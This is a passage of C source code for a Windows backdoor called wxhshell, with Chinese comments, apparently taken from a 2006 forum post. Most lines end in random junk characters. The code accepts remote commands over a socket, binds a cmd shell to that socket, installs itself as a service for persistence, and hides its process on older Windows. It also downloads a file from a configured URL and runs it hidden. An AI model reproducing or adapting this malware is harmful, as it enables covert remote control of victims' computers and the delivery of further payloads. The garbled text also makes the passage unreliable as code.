  else { hJoh5DIE95  
4~0 @(3  
    switch(cmd[0]) { r 4+%9)  
  -lI6!a^  
  // 帮助 $w! v  
  case '?': { t&(\A,ch%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N6/;p]|  
    break; N8`q.;qewz  
  } 0F[+rh"x  
  // 安装 U0dhr;l  
  case 'i': { )s8{|)-  
    if(Install()) pRh)DM#9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z}r9jM  
    else 9Ui|8e~=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .:TSdusr~  
    break; BHIC6i%  
    } m/1;os5+8  
  // 卸载 R-BN}ZS  
  case 'r': { x1 1ug  
    if(Uninstall()) !MD uj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l|  QQ  
    else PA${<wyBR_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +C`zI~8  
    break; ID$%4jl  
    } 6w $pL(  
  // 显示 wxhshell 所在路径 j:J7  
  case 'p': { e\H1IR3  
    char svExeFile[MAX_PATH]; YR0.m%U,  
    strcpy(svExeFile,"\n\r"); x`zE#sD  
      strcat(svExeFile,ExeFile); kwpbgQ  
        send(wsh,svExeFile,strlen(svExeFile),0); G/_9!lE  
    break; 0"xD>ue&  
    } _!E/ em  
  // 重启 d /`d:g  
  case 'b': { T2MXwd&l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TM`6:5ONv  
    if(Boot(REBOOT)) w?A6S-z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p!p:LSk"/b  
    else { ,Zs*07!$f  
    closesocket(wsh); 4k=LVu]Kcr  
    ExitThread(0); 43o!Vr/ S  
    } Gq;!g(  
    break; 9':MD0P/M  
    } |Ht~o(]&&/  
  // 关机 [|oOP$u  
  case 'd': { JCZ5q9b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {~~'  
    if(Boot(SHUTDOWN)) iea7*]vW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `:;fc  
    else { vI+X9C?  
    closesocket(wsh); '&Tq/;Ml  
    ExitThread(0); iKe68kx  
    } CJ[^Fi?CH  
    break; >`Zw0S  
    } APL #-`XC  
  // 获取shell TWo.c _l  
  case 's': { @hIHvLpRB  
    CmdShell(wsh); _If:~mIs  
    closesocket(wsh); _D~FwF&A  
    ExitThread(0); 3v:c'R0  
    break; gjex;h  
  } 1A;f[Rze  
  // 退出 cR/z;*wr7  
  case 'x': { OE_A$8L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y>_*}>2,O  
    CloseIt(wsh); $Rv (v%  
    break; y,vrMWDy  
    } q b7ur;  
  // 离开 s_Gf7uC  
  case 'q': { jL9to6 Hmr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |s*tRag  
    closesocket(wsh); ~YCZvJ  
    WSACleanup(); w2o5+G=  
    exit(1); ub=Bz1._  
    break; j+Q E~L  
        } "2 J2za  
  } V75P@jv5J  
  } *S{fyYyM  
WeRX~  
  // 提示信息 gC \^"m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h(3ko An  
} G}p* oz~  
  } Q a8;MxK`  
Dro2R_j{  
  return; b;Uqyc  
} {{ /-v3n  
1JSKK.LuJV  
// shell模块句柄 8+OcM ;0  
int CmdShell(SOCKET sock) ''~#tK f  
{ L&h90Az1W  
STARTUPINFO si; @6:J$B~)u  
ZeroMemory(&si,sizeof(si)); $z*Y:vFP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w2e 9Ue~WH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +'QE-#%{=  
PROCESS_INFORMATION ProcessInfo; =hDFpb,mr  
char cmdline[]="cmd"; ZT%Q:]B+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f%5 s8)  
  return 0; ? _Y2'O  
} Z^SF $+UN  
!_#2$J*s^D  
// 自身启动模式  /DN!"  
int StartFromService(void) 9a lMC  
{ ;ZowC#j  
typedef struct f<v:Tg.[  
{ J}37 9  
  DWORD ExitStatus; bO\E)%zp  
  DWORD PebBaseAddress; a>XlkkX  
  DWORD AffinityMask; $3Srr*  
  DWORD BasePriority; m*Q*{M_e  
  ULONG UniqueProcessId; bf1EMai"  
  ULONG InheritedFromUniqueProcessId; "fX9bh^  
}   PROCESS_BASIC_INFORMATION; m03]SF(#3  
7z^\}&  
PROCNTQSIP NtQueryInformationProcess; RYem(%jq  
Z/w "zCd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x;p7n 2_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 47 *,  
[Uw/;Kyh  
  HANDLE             hProcess; hj|P*yKV  
  PROCESS_BASIC_INFORMATION pbi; sJ q^>"|J  
U|}Bk/0.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JVk"M=c  
  if(NULL == hInst ) return 0; -cW 'g  
dpWBY3(7a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l/F'W}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B2DWSp-8*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `U[s d*C"  
?ta(`+"  
  if (!NtQueryInformationProcess) return 0; ej9|Y5D"S  
X9oxni#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {X'D07q  
  if(!hProcess) return 0; .|Zt&5osI  
?cdjQ@j~h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7 G<v<&  
~Dz`O"X3  
  CloseHandle(hProcess); FSn&N2[D  
3A>Bnb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <qpDAz4k  
if(hProcess==NULL) return 0; ap[{`u  
uw,p\:D&  
HMODULE hMod; GN%|'eU  
char procName[255]; 38Bh9>c3  
unsigned long cbNeeded; mFdj+ &2\  
eH9Ofhsry  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /<WK2G  
b ?-VZA:  
  CloseHandle(hProcess); i1E~F  
f R?Xq@c  
if(strstr(procName,"services")) return 1; // 以服务启动 N 2\lBi  
bO2s'!x  
  return 0; // 注册表启动 ohPCYt  
} ]~H\X":[>  
D3BT>zTGK  
// 主模块 d5O_~x f&  
int StartWxhshell(LPSTR lpCmdLine) IxQ(g#sj_k  
{ JL1z8Nu  
  SOCKET wsl; eub2[,  
BOOL val=TRUE; 'ixu+.ZL/  
  int port=0; VkChRzhC  
  struct sockaddr_in door; 1>"[b8a/  
9X-w5$<  
  if(wscfg.ws_autoins) Install(); sWc_,[b  
s v}o%  
port=atoi(lpCmdLine); d|RqS`h ]  
[)E.T,fjMQ  
if(port<=0) port=wscfg.ws_port; CMI V"-  
Sb;=YW 1<  
  WSADATA data; 2l#c?]TA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YAoGVey  
yaD_c;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X/l{E4Ex  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3r]:k) J  
  door.sin_family = AF_INET; `$5 QTte  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Arzyq_ Yk  
  door.sin_port = htons(port); ][IEzeI_LN  
)* \N[zm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h/a|-V}m&  
closesocket(wsl); 6 ?C|pO  
return 1; 1'G&PX   
} n8dJ6"L<"  
qij<XNZU"&  
  if(listen(wsl,2) == INVALID_SOCKET) { I \DH  
closesocket(wsl); XFiP8aX<  
return 1; &=-ZNWNo  
} qlJzXq{|`  
  Wxhshell(wsl); &eqeQD6  
  WSACleanup(); *49lM;  
[$<\*d/  
return 0; ..5rW0lr  
X' ,0vK  
} e2 X\ll  
CC8)yO  
// 以NT服务方式启动 _3'FX# xc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LW$(;-rY  
{ T|o ]8z  
DWORD   status = 0; >-0\wP  
  DWORD   specificError = 0xfffffff; `pfZJ+  
R;]z/|8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mz'r<v2Tc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; = @EN]u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ac2,A>  
  serviceStatus.dwWin32ExitCode     = 0; \pVmSac,  
  serviceStatus.dwServiceSpecificExitCode = 0; z{N~AaY  
  serviceStatus.dwCheckPoint       = 0; ]#fmih^  
  serviceStatus.dwWaitHint       = 0; m/T3Um  
~g|Z6-?4Jj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oieJ7\h]m  
  if (hServiceStatusHandle==0) return; 3;hztCZj  
hN5?u:  
status = GetLastError(); m 3 Y@p$i5  
  if (status!=NO_ERROR) fQkfU;5  
{ L xg,BZV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '=Z]mi/aw  
    serviceStatus.dwCheckPoint       = 0; -*<4 hFb  
    serviceStatus.dwWaitHint       = 0; T|%pvTIe  
    serviceStatus.dwWin32ExitCode     = status; [@&0@/s*t'  
    serviceStatus.dwServiceSpecificExitCode = specificError; nsM=n}$5x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5x=aJl;G  
    return; @5rl;C  
  } +'ZJ]  
>OLKaghV.5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,DZoE~  
  serviceStatus.dwCheckPoint       = 0; 0eP ]  
  serviceStatus.dwWaitHint       = 0; 3hi0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j+9;Cp]NV  
} `Nnaw+<]  
XB.xIApmy  
// 处理NT服务事件,比如:启动、停止 WEnI[JGe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {PTB]D'  
{ L2,.af6+  
switch(fdwControl) Ki,SFww8r  
{ 3tjF4C>h|  
case SERVICE_CONTROL_STOP: &qjc+-r{l  
  serviceStatus.dwWin32ExitCode = 0; 1z6$>{FUR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wOLDHg_  
  serviceStatus.dwCheckPoint   = 0; VbG#)>"F  
  serviceStatus.dwWaitHint     = 0; S <RbC  
  { ;K$ !c5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i0TbsoKh:  
  } (\8~W*ej"  
  return; V4 `  
case SERVICE_CONTROL_PAUSE: ~\oF}7l$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p|gzU$FWbk  
  break; t4P`#,:8  
case SERVICE_CONTROL_CONTINUE: xk:=.Qqh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'e(]woe  
  break; T) Zef  
case SERVICE_CONTROL_INTERROGATE: ' a>YcOw  
  break; )-s9CWJv  
}; 'xP&u<(F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $1E'0M`  
} <3)k M&.B  
sP'U9l  
// 标准应用程序主函数 Sk6B>O<:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zJ $&`=  
{ '-l.2IUyT  
q^w@l   
// 获取操作系统版本 CQANex4&\  
OsIsNt=GetOsVer(); $SOFq+-T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L7`=ec<  
=] +owl2  
  // 从命令行安装 Ct<]('Hm(  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0R-J \  
kdP*{  
  // 下载执行文件 $A;%p6PO)  
if(wscfg.ws_downexe) { m4r<=o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cSD$I^$oq  
  WinExec(wscfg.ws_filenam,SW_HIDE); EEn8]qJC  
} @"G+kLv0  
dHsI<:T#  
if(!OsIsNt) { nf0]<x2  
// 如果时win9x,隐藏进程并且设置为注册表启动 \V_ Tc`  
HideProc(); hjgB[ &U>  
StartWxhshell(lpCmdLine);  W<@9ndvH  
} ib\_MNIb  
else Tfz _h~D  
  if(StartFromService()) E Xxv  
  // 以服务方式启动 ;TC"n!ew  
  StartServiceCtrlDispatcher(DispatchTable); PNs*+/-S  
else Xmm) z  
  // 普通方式启动 bk=ee7E7>  
  StartWxhshell(lpCmdLine); >\o._?xSA  
Ab In\,x  
return 0; YW2h#PV6_  
}
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只看该作者 1 发表于: 2006-10-10
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